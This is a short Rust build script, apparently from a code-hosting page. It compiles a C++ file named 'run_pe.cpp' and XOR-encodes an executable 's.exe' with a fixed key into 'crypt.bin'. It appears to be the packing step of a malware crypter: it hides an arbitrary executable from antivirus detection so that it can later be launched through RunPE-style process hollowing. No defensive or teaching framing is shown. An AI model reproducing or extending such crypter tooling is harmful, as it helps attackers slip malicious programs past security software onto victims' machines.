25 lines
528 B
Rust
25 lines
528 B
Rust
use std::{fs, path::Path};
|
|
|
|
fn main() {
|
|
cc::Build::new()
|
|
.cpp(true)
|
|
.file("cpp/run_pe.cpp")
|
|
.compile("peffi");
|
|
|
|
let in_path = Path::new("exe/s.exe");
|
|
|
|
let key = 0x42;
|
|
|
|
let mut bytes = fs::read(in_path).expect("failed to read input");
|
|
xor_crypt(bytes.as_mut_slice(), key);
|
|
|
|
let out_path = Path::new("crypt.bin");
|
|
fs::write(out_path, bytes).expect("failed to write");
|
|
}
|
|
|
|
fn xor_crypt(input: &mut [u8], key: u8) {
|
|
for byte in input.iter_mut() {
|
|
*byte ^= key;
|
|
}
|
|
}
|